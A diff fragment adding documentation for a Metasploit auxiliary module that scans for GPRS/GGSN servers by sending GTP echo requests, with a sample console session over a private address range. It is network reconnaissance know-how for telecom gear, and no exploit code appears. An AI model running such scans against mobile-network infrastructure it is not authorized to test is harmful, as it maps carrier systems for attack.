+
+[*] Auxiliary module execution completed  
+```
@@ -0,0 +1,28 @@
+This module provides a port of Daniel Mende's (released under the BSD license) gtp-scan.py utility. It brings the ability to scan for GPRS servers to Metasploit via sending GTP-U v1 and v2 echo requests.
+
+## Vulnerable Application
+
+Open-source GGSN implementations can be used as a target for this module as well as commercial GPRS gear. For information on one project suitable as a target, see [OsmoGGSN](https://osmocom.org/projects/openggsn/wiki/OsmoGGSN).
+
+## Options
+
+   **The RPORT option**
+
+   This option can be changed to target GTP-U (2152) or GTP-C (2123), which both use the same packet type for echo probing.
+
+## Scenarios
+
+```
+metasploit-framework (S:0 J:1) auxiliary(scanner/gprs/gtp_echo) > set RHOSTS 192.168.28.200-192.168.28.208
+RHOSTS => 192.168.28.200-192.168.28.208
+metasploit-framework (S:0 J:1) auxiliary(scanner/gprs/gtp_echo) > run
+
+[*] [2019.04.22-16:38:27] Sending probes to 192.168.28.200->192.168.28.208 (9 hosts)
+[+] [2019.04.22-16:38:42] GTP v1 echo response received from: 192.168.28.200:2152
+[+] [2019.04.22-16:38:43] GTP v1 echo response received from: 192.168.28.201:2152
+[+] [2019.04.22-16:38:43] GTP v1 echo response received from: 192.168.28.207:2152
+[+] [2019.04.22-16:38:43] GTP v1 echo response received from: 192.168.28.208:2152
+[*] [2019.04.22-16:38:43] Scanned 9 of 9 hosts (100% complete)
+[*] Auxiliary module execution completed
+metasploit-framework (S:0 J:1) auxiliary(scanner/gprs/gtp_echo) >
+```
--- a/Show More
+++ b/Show More
@@ -1 +1 @@
 .5.3
 .6.2